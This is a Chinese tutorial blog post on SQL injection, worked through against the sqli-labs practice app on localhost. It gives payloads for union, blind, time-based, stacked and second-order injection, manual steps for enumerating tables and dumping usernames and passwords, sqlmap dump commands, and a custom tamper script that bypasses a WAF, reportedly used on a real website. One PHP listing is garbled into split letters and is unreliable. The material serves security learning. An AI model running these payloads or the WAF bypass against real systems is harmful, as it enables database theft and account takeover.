SQL 注入笔记

SQL 注入产生的原因

以 sqli-labs 第 11 题为例,该题模拟后台登录页面,其 Username 与 Password 均存在 SQL 注入漏洞。
可以看到,用户在登录框输入的用户名及密码未经过滤就直接传入以下 SQL 语句:

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

如果此时我在 Username 中输入英文单引号,那么 SQL 语句就变成:

SELECT username, password FROM users WHERE username=''' and password='' LIMIT 0,1

这里 username 没有闭合,会导致语法错误:

You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1

在这里插入图片描述
试试万能密码 ‘or’1’='1
在这里插入图片描述
看下输入万能密码后,SQL 语句的构成:

SELECT username, password FROM users WHERE username=''or'1'='1' and password=''or'1'='1' LIMIT 0,1

可以发现 username 和 password 为空或者 ‘1’=‘1’,而’1’='1’永远为真,SQL 语句必然成立。只要能查询到有效数据就可以登录,或者后面随便回句永远为真的语句就能够绕过验证登录,这就是万能密码存在的原因。
相信看到这里,你对 SQL 注入产生的原因应该有所理解了。简单来讲,就是开发时未对用户的输入数据(可能是 GET 或 POST 参数,也可能是 Cookie、HTTP 头等)进行有效过滤,直接带入 SQL 语句解析,使得原本应为参数数据的内容,却被用来拼接 SQL 语句做解析,也就是说,将数据当代码解析,最终导致 SQL 注入漏洞的产生。

SQL 注入的分类

根据注入点(比如漏洞参数)的数据类型不同,SQL 注入可以分为两类:数字/整数型注入和字符型注入。

数字/整数型注入

注入的参数为整数时就是数字型注入,或者叫整数型注入。其 SQL 语句原型类似:

SELECT * FROM table WHERE id=1

此处 id 参数为整数,两边无引号。测试时可以使用 1+1 和 3-1 这种计算结果相同的参数值去构造请示,对比响应结果是否一致,如果相同就可能在数字型注入。

字符型注入

注入参数为字符串时就是字符型注入,其 SQL 语句原型类似:

SELECT * FROM table WHERE name='test'

此处的 name 为字符串参数,两边包含引号。
其他资料也有给出第 3 种分类:搜索型注入,但我认为它本质上属于字符型注入,只是相对特殊一点,存在于搜索语句中。此类注入常常以 % 为关键字来闭合 SQL 语句。
区分数字型与字符型注入的最简单办法就是看是否存在引号。在有源码的情况下很好判断,若无源码,可以尝试输入单引号看是否报错,同时也可以直接根据输入参数的类型做初步判断。

SQL 注入测试

sqlmap 涵盖了 SQL 注入检测、利用、防御绕过、扩展、getshell 等多种功能,功能全面且工程化,是学习研究 SQL 注入绕不开的工具。
如果你查看 sqlmap 的命令帮助信息,可以发现它使用的 SQL 注入技术共有以下 6 种,默认全开,对应的参数值为“BEUSTQ”,如下所示:
BEUSTQ 的参数含义如下:
B,Boolean-based blind(布尔型盲注);
E,Error-based(报错型注入);
U,Union query-based(联合查询注入);
S,Stacked queries(多语句堆叠注入);
T,Time-based blind(基于时间延迟盲注);
Q,Inline queries(内联/嵌套查询注入)。

布尔型盲注

布尔(Boolean)就是真假两种结果,比如“1=1”为真,“1=2”为假。
前面列举的 SQL 注入是存在错误显示的,很容易判断 SQL 语句被注入后出错。但是,很多时间并没有错误回显,这时就只能“盲注”。我们可以通过对比真假请求的响应内容来判断是否存在 SQL 注入,这就是布尔型盲注。比如,对比注入参数与“and 1=2”的返回结果,如果两者不同则代表可能存在 SQL 注入。
除了布尔型盲注外,还可以采用时间延迟的方式来盲注。
以 sqli-labs 第 8 题为例,上图是正常访问后的网页内容。通过 Get 参数 id 实现 SQL 注入,我们直接用前面讲的单引号注入试试,请求地址为 http://localhost/Less-8/?id=1’,返回结果:
没有任何错误提示,显示此方法行不通。
下面我们试试布尔型盲注的方法,分别构造以下两个请示,然后对比二者的差异:
http://localhost/Less-8/?id=1’and+1=1
http://localhost/Less-8/?id=1’and+1=2
其中的 + 号代表空格,执行上述请求后,你会发现返回的页面没有任何变化。难道真没有 SQL 注入吗?
查看源码重点就在这句 SQL 语句上:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

注意这里有单引号,所以是字符型注入,我们将前面的测试语句代入:

SELECT * FROM users WHERE id='1'and 1=1' LIMIT 0,1

此处单引号未得到闭合,导致了语法错误,这正是前面测试方法失败的原因。我们可以考虑用–注释掉。在 URL 请求里要注意在后面加 +,+ 在 URL 中相当于空格,加了 + 才能有效注释。最后我们得到构造语句:

SELECT * FROM users WHERE id='1'and 1=1 -- ' LIMIT 0,1

为了方便验证 SQL 语句,推荐你直接进入 Docker 容器的 MySQL 进行测试,我们按此思路重新构造两个请求。
请求 1:http://localhost/Less-8/?id=1’and+1=1–+
请求 2:http://localhost/Less-8/?id=1’and+1=2–+
在这里插入图片描述
在这里插入图片描述

报错型注入

有错误回显的都可以尝试使用报错型注入方法,在 sqli-labs 第 11 题中介绍的单引号注入方式就是最简单有效的检测方法,它的本质是设法构造出错误的 SQL 语法使其执行错误。
前面列举的都是字符型注入,这次我们聊下整数型的。以 sqli-labs 第 2 题为例,我们重点看下导致注入的语句:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$id 参数两边无引号,这是典型的整数型注入。虽然是整数型的,但你使用单引号注入依然会报错,因为语句未得到有效闭合。
既然我们的目标是让 SQL 语法错误,那方法就多了,各种造成语句无法闭合的字符:单引号、双引号、大中小括号等标点符号、特殊符号、宽字符等,还有 SQL 语句中的关键词,比如 IF、SELECT 都可以。
下图是注入中文句号(宽字符)导致的错误:
在这里插入图片描述
在这里插入图片描述
拥有错误回显的 SQL 注入应该是最容易发现的,但很多时候并不会有错误回显,这时就需要使用其他盲注方式来验证。

联合查询注入

联合查询是指使用 union 语句来查询,比如:

id =-1 union select 1,2,3

注意这里 id 的值不存在,目前是为了在页面上显示 union 查询结果。
这样的好处就相当于另起一句 SQL 语句,非常适用于获取数据库中一些敏感信息,而不必过多考虑原有 SQL 语句的情况。因此,它在实际的漏洞利用中也经常被使用。联合查询注入也是验证漏洞可利用性的最佳方法之一,但经常需要结合错误回显。
我们仍以 sqli-labs 第 2 题为例,先构造以下请求:

http://localhost/Less-2/?id=0 union select 1

得到错误提示“The used SELECT statements have a different number of columns”,也就是字段数有误,如下图所示:
在这里插入图片描述
此时我们可以逐渐增加字段数来找到合适字段数:
回显错误:http://localhost/Less-2/?id=0 union select 1,2
正确:http://localhost/Less-2/?id=0 union select 1,2,3
回显错误:http://localhost/Less-2/?id=0 union select 1,2,3,4
最后发现它共有 3 个字段,我们看看哪些字段显示出来了:
在这里插入图片描述
可以发现 2 和 3 字段显示在页面中,这里我们就可以进一步构造利用以获取数据库名和版本信息:
http://localhost/Less-2/?id=0 union select 1,database(),version()
最终,我们成功爆出数据库名为 security,版本为 5.5.44-0ubuntu0.14.04.1,如下图所示:
在这里插入图片描述

多语句堆叠注入

在 SQL 语句中,允许使用分号间隔多个查询语句来执行。mysqli_multi_query() 函数可以通过分号间隔插入多个查询语句实现堆叠注入。以 sqli-labs 第 38 题为例:

<?php
    $id=$_GET['id'];
	......
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	/* execute multi query */
	if (mysqli_multi_query($con1, $sql))
	{
       ......
    }
    ......
?>

此处正是使用 mysqli_multi_query 函数实现的多语句查询。我们可以尝试插入另一条语句来创建表:
http://localhost/Less-38?id=1’;create table sqli like users;
执行前的表:

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

执行后,成功创建 sqli 表,说明第二条语句执行成功:

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| sqli               |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)
基于时间延迟盲注

基于时间延迟盲注是通过时间延迟来判断是否存在 SQL 注入的常用方法,是用于无任何错误回显情况下的盲注。对于正确语句和错误语句都返回相同内容时也可以使用,所以它的适用范围相对广一些。
注意:在实际测试过程中,特别是线上业务测试,要避免使用过长时间的延时,否则会影响业务的正常运行。换句话说,能够延时注入就基本代表可以去网站进行拒绝服务攻击。
在 MySQL 常用的延时注入方法中,比较实用的有以下 3 种。
(1)SLEEP(duration):该函数用于休眠,起到延时操作的作用,其参数以秒为单位。

mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

(2)BENCHMARK(count,expr):重复计算 expr 表达式 count 次。

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.72 sec)

(3)REPEAT(str,count):返回字符串 str 重复 count 次后的字符串。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (5.92 sec)

我们以 sqli-labs 第 2 题为例构造请求:
http://localhost/Less-2/?id=1 and sleep(5)–+
在 Chrome 浏览器的 Network 标签内可以看到该请求刚好处时 5 秒钟,说明确实存在漏洞。
在这里插入图片描述

内联/嵌套查询注入

使用内联查询来检索数据,本质上是嵌入在另一个查询中的查询,例如:

SELECT (SELECT password from users) from product;

以 sqli-labs 第 2 题为例,结合前面介绍的联合查询来构造请求:
http://localhost/Less-2/?id=0 union select 1,(SELECT username from users where id=2),(SELECT password from users where id=2)
通过以上代码我们可以看到 id=2 的用户名和密码,如下图所示:
在这里插入图片描述
内联/嵌套查询注入方法可以在一句语句中嵌入另一句语句,在有限漏洞场景下能实现更多的功能,因此在实际的漏洞利用中常被用于实现敏感信息的窃取,甚至执行系统命令。

二次注入

漏洞的产生是因为直接将用户输入的数据带入了 SQL 语言。但在特殊情况下,有可能第一次带入参数时做了安全转义,但开发人员在二次使用时并没有做转义,导致第二次使用时才产生注入,这就是二次注入。
由于单引号常常被用来检测 SQL 注入,开发同学经常会把它过滤掉(删除)或者转义。最常用的方式就是 mysql_real_escape_string 函数,它能够对以下几种常见字符进行转义:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a

比如单引号,会在前面添加反斜杠,转义成 ',这样就不会直接被当作引号解析了。mysql_real_escape_string 的处理方法对于防范字符型注入有明显的效果,但有时仍会被绕过,比如整数型注入时采用延时方法检测,以及这里讲的二次注入。
那二次注入具体是什么呢?以 sqli-labs 中的第 24 题为例,我先看下 login.php 中的关键代码:

function sqllogin(){
u s e r n a m e = m y s q l r e a l e s c a p e s t r i n g ( username = mysql_real_escape_string( username=mysqlrealescapestring(_POST[“login_user”]);
p a s s w o r d = m y s q l r e a l e s c a p e s t r i n g ( password = mysql_real_escape_string( password=mysqlrealescapestring(_POST[“login_password”]);
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E u s e r n a m e = ′ sql = "SELECT * FROM users WHERE username=' sql="SELECTFROMusersWHEREusername=username’ and password=' p a s s w o r d ′ " ; / / password'"; // password";//sql = "SELECT COUNT() FROM users WHERE username=‘ u s e r n a m e ′ a n d p a s s w o r d = ′ username' and password=' usernameandpassword=password’";
r e s = m y s q l q u e r y ( res = mysql_query( res=mysqlquery(sql) or die('You tried to be real smart, Try harder!!! 😦 ');
r o w = m y s q l f e t c h r o w ( row = mysql_fetch_row( row=mysqlfetchrow(res);
//print_r( r o w ) ; i f ( row) ; if ( row);if(row[1]) {
return $row[1];
} else {
return 0;
}
}
l o g i n = s q l l o g i n ( ) ; i f ( ! login = sqllogin(); if (! login=sqllogin();if(!login== 0)
{
$_SESSION[“username”] = $login;
setcookie(“Auth”, 1, time()+3600); /
expire in 15 Minutes */
header(‘Location: logged-in.php’);
}

可以发现 username 与 password 两个字符串参数都被 mysql_real_escape_string 函数过滤掉了,无法使用单引号去闭合语句进行注入,只能去尝试其他办法。我们继续往下看。
登录成功后,将用户名保存到 $_SESSION[“username”],然后再跳转到 logged-in.php。我们重新观察页面,发现上面还有 2 个功能:忘记密码、创建新用户。
为了寻找漏洞,我们就需要查看网站上的每个功能。先点击“Forgot your password?”看看,之后我们点击“New User click here?”按钮再找找,过浏览器的地址栏可以看到它跳转到 new_user.php。查看该源码文件,发现表单数据被提交到 login_create.php 处理:

通过源码可以发现这里的输入参数都被过滤了,然后将新建的用户名和密码插入到了数据库中。这是第一次将数据带入数据库,但没有产生注入漏洞,我们需要继续往下分析,寻找有没有可能存在的其他注入点。 重新回头再看下登录成功后跳转的 logged-in.php 文件源码,它会把密码以表单形式提交到 pass_change.php: 看下 pass_change.php 文件源码可以看到,从数据库取出来的用户名并没有转义,而我们又可以向数据库插入可控的用户名,即输入的用户名第一次被转义(非过滤),但拿出来使用时并未做再转义,这种写数据时转义,读数据时又未转义,造成了二次注入漏洞的发生。如果第一次存储时直接将恶意字符过滤掉的话,那第二次使用就没有问题。 因此,我们可以采用如下的攻击步骤。 (1)注册一个专门用来攻击的用户名,比如 admin' or 1=1#,密码为 test。 (2)登录新注册的账号。 (3)修改上面注册的用户密码为 hacker。 (4)最终用户名 admin' or 1=1# 被注入 SQL 执行,导致所有用户密码都被修改为 hacker。 mysql> select * from users; +----+----------------+----------+ | id | username | password | +----+----------------+----------+ | 1 | Dumb | hacker | | 2 | Angelina | hacker | | 3 | Dummy | hacker | | 4 | secure | hacker | | 5 | stupid | hacker | | 6 | superman | hacker | | 7 | batman | hacker | | 8 | admin | hacker | | 9 | admin1 | hacker | | 10 | admin2 | hacker | | 11 | admin3 | hacker | | 12 | dhakkan | hacker | | 14 | admin4 | hacker | | 15 | 1 | hacker | | 17 | admin' or 1=1# | hacker | +----+----------------+----------+ 15 rows in set (0.00 sec)

(5)尝试用密码 hacker 登录账号 admin,如下所示,登录成功!

手工注入

为了更好地理解 SQL 注入漏洞的利用,一步步地构造注入参数去利用漏洞,直到最终拿到账号密码,这样在后面通过工具自动化利用时,也能更容易地理解其背后的逻辑。
在注入的过程中,常用到的会有以下几个步骤:获取字段数、枚举系统数据库名、获取当前数据库名、枚举数据库中的表名、枚举表中的字段名、获取字段值、盲注猜解字符串。这些步骤并不是一定的,只是列举了一些比较常用的。
(1)获取字段数
“联合查询注入”,我们使用 Union 查询注入爆出了账号和密码,但那是已知字段名的情况下。
在真实的漏洞利用场景中,需要自己通过 SQL 注入获取字段名,在此之前还得去获取字段数。前面使用的是 union select 1,2,3… 的方式不断追加查询的字段数来猜测,但如果业务就有很多的字段数,这个方法就有点烦琐了。因此,这里介绍另一种更加简便的方法。
通过 order 做字段排序,可以猜解出正确的字段数:
order by n # 通过不断尝试 n 的值直到出错,那么正确字段数就是 n-1

这种方法有时会用来判断是否存在 SQL 注入漏洞,同时在使用联合查询方法时,也可以用来获取读取数据。
以 sqli-labs 第 2 题为例,构建以下两个不同的请求会发现返回结果是不一样的,当使用利用“1 order by 3”作为 id 参数时,其返回正常;但当使用“1 order by 4”时却返回错误了:
正常:http://localhost/Less-2?id=1 order by 3–+
错误:http://localhost/Less-2?id=1 order by 4–+,提示“Unknown column ‘4’ in ‘order clause’”

这就说明正确的字段数是 3,因为当用于排序的字段数大于总字段数时会出错。
(2)枚举系统数据库名
网站上可能会有多个数据库,为了更直接地查看包含业务数据的数据库,我们先枚举出系统的数据库名,然后根据数据库名来猜测有敏感信息的可能性,再针对那个数据库进行测试。
在版本号 5.0 以上的 MySQL 中,数据库名存放在 information_schema 数据库下的 schemata 表的 schema_name 字段中:

mysql> select null,null,schema_name from information_schema.schemata;
+------+------+--------------------+
| NULL | NULL | schema_name        |
+------+------+--------------------+
| NULL | NULL | information_schema |
| NULL | NULL | challenges         |
| NULL | NULL | mysql              |
| NULL | NULL | performance_schema |
| NULL | NULL | security           |
+------+------+--------------------+
5 rows in set (0.00 sec)

从第一步我们得知字段数是 3 个,那么我们就可以通过 select 读取这 3 个字段的内容。由于这里的测试题目,在网页上只显示 1 个字段值,所以我们可以用 group_concat 函数将所有的数据库名连接起来,一次性地将多个字段值放在一个字段中显示。这里我把它放在了第 3 个字段中:
http://localhost/Less-2/?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata
在这里插入图片描述
可以看到各个数据库名已经回显出来了。
(3)获取当前数据库名
通过当前页面的功能,我们可以知道它当前的数据库会涉及哪些数据,比如当前是账号创建和登录的页面,数据库必然包含账号密码信息,我们就可以先获取当前数据库名,后面再用来读取数据库中的字段值。MySQL 提供的 database() 函数可用来获取数据库名,因此我们可以像下面这样构建 URL:
http://localhost/Less-2/?id=0 union select 1,2,database()–+

访问后我们得到当前数据库名为 security,接下来就可以去尝试读取该数据库内的内容。
(4)枚举数据库中的表名
通过以下语句获取存储账号密码的表名 users:
http://localhost/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

访问上述特意构造的链接后,页面返回以下内容:
在这里插入图片描述
(5)枚举表中的字段名
得到表名后,我们可以先看看有哪些字段名,为后面获取字段值做铺垫。由于表 information_schema.columns 中包含字段列表信息,因此我们可以通过它获取每个字段的名称,构造以下 URL 获取:
http://localhost/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’–+

访问后页面得到表中的各个字段名。
(6)获取字段值
前面我们已经拿到字段名、表名,接下来就可以直接通过 select 读取相应字段的值,比如此处用来获取 username 和 password 的值的 URL 请求:
http://localhost/Less-2/?id=0 union select 1,2,group_concat(username,': ',password) from users–+

访问后页面返回各字段值。
(7)盲注猜解字符串
前面的示例都是在有错误回显的情况下,通过 SQL 注入获得我们想要的用户信息,但有时在渗透测试时,网站并没有错误回显,此时就只能去盲注猜解出数据库名、字段名和值等关键信息。盲注猜解字符串的主要方式有布尔型盲注和基于时间延迟盲注,相关的知识我在《06 | SQL 注入:小心数据库被拖走(上)》中介绍过了。
布尔型盲注:
http://localhost/Less-2/?id=1 and ascii(substr((select database()),1,1))>110–+ 判断数据库名的第一个字符的 ascii 值是否大于 110(‘H’)
基于时间延迟盲注:
http://localhost/Less-2/?id=1 union select if(SUBSTRING(password,1,4)=‘Dumb’,sleep(5),1),2,3 from users–+ 提取密码前四个字符做判断,正确就延迟 5 秒,错误返回 1

自动化利用漏洞

手工注入是个体力活,效率很慢,如果能自动化地利用漏洞,就可以解放双手,省下不少时间。因此,通常我们不会使用手工注入的方式,利用 sqlmap 实现 SQL 注入漏洞的自动化利用。
使用 sqlmap 拖库
当前在 SQL 注入漏洞利用工具中,sqlmap 绝对是最常用的,前文也多次提到它,这里我们就尝试使用 sqlmap 实现拖库。
借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。下面我会介绍一些常用的命令参数,通过这些参数,我们能实现注入自动化,具体的流程和手工注入一样。
(1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs

输出的对应 payload 也是学习各种注入技巧的参考资料,对于渗透测试者、漏洞扫描器、WAF 开发者需要研究的重要资源,有些扫描器干脆直接用 sqlmap,或者把它的所有 payload 扣出来使用。
(2)使用 --current-db 参数获取当前数据库,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --current-db

(3)使用 --tables 参数枚举表名,示例命令如下 :

./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security'

(4)使用 --columns 参数枚举字段名,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security"

(5)使用 --dump 参数批量获取字段值,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security"

(6)使用 --dump-all 参数导出整个数据库
这个方法耗时较长,还有很多无价值信息,但却是最简单的拖库姿势,示例命令如下:
./sqlmap.py -u “http://localhost/Less-2/?id=1” --dump-all

上述方法导出的数据文件存放路径会在命令行给出,数据以 csv 文件形式保存到本地

利用 tamper 绕过 WAF

在云时代网络中,很多部署网站的服务器都会提供 WAF(Web 防火墙)服务。在未部署的情况下,云厂商如果检测到 Web 攻击请求,可能会发短信通知你开启 WAF 服务。之前我在一次渗透测试工作中就是如此:原本未部署 WAF 的网站,在 SQL 注入的过程中,突然就开启 WAF 拦截了。
tamper 正是对 sqlmap 进行扩展的一系列脚本,可在原生 payload 的基础上做进一步的处理以绕过 WAF 拦截。sqlmap 里有个 tamper 目录,里面放着很多脚本,比如编码、字符替换、换行符插入。
我们先来看下 sqlmap 自带的一个最简单的,用于转义单引号的 tamper 脚本:

#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')
    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """
    return payload.replace("'", "\\'").replace('"', '\\"')

它主要由 3 个部分组成。

  • priority:代表优先级,当使用多个脚本时可定义执行顺序。
  • dependencies:对依赖环境的声明,比如输出日志,可不写。
  • tamper:主函数。payload 代表 sqlmap 自带的测试语句;kwargs 代表请求参数,可以用来修改 http头信息。tamper 主要是对原生 payload 做一些替换处理,这是绕过 WAF 的关键点。

下面以某知名网站的 SQL 注入为例。常规的注入语句都被拦截了,后来在 fuzz 测试 WAF 时,发现使用一些特殊符号可以绕过 WAF(换行符也经常被用来绕过),而 MySQL 中有些特殊字符又相当于空格:

%01, %02, %03, %04, %05, %06, %07, %08, %09, %0a, %0b, %0c, %0d, %0e, %0f, %10, %11, %12, %13, %14, %15, %16, %17, %18, %19, %1a, %1b, %1c, %1d, %1e, %1f, %20

我们尝试在每个 SQL 关键词中随机加个%1e。测试确认可绕过 WAF 后,接下来就是写 tamper 让 sqlmap 实现自动化绕过 WAF。

import re
from lib.core.common import randomRange
from lib.core.data import kb  # kb 中存放着 sqlmap 的一些配置信息
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
    result = payload
    if payload:
        for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
            word = match.group()
            if len(word) < 2:
                continue
            if word.upper() in kb.keywords:  # 判断是否属于 SQL 关键词
                str = word[0]
                for i in xrange(1, len(word) - 1):
                    str += "%s%s" % ("%1e" if randomRange(0, 1) else "", word[i])
                str += word[-1]
                if "%1e" not in str:
                    index = randomRange(1, len(word) - 1)
                    str = word[:index] + "%1e" + word[index:]
                result = result.replace(word, str)
    return result

上述代码会判断输入的字符串是否有 SQL 关键词,如果有就随机在关键词中间插入%1e。
假设原注入语句为:

and ascii(substr((select database()),1,1))>64

经转换后变成:

a%1end a%1escii(sub%1estr((s%1eelect da%1etabase()),1,1))>64

最后调用 sqlmap 执行即可:

./sqlmap.py -u url --tamper=bypasswaf.py --dbs

到这里咱们就完成请求参数的修改了,这是用来绕过 WAF 是非常有效的手段

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值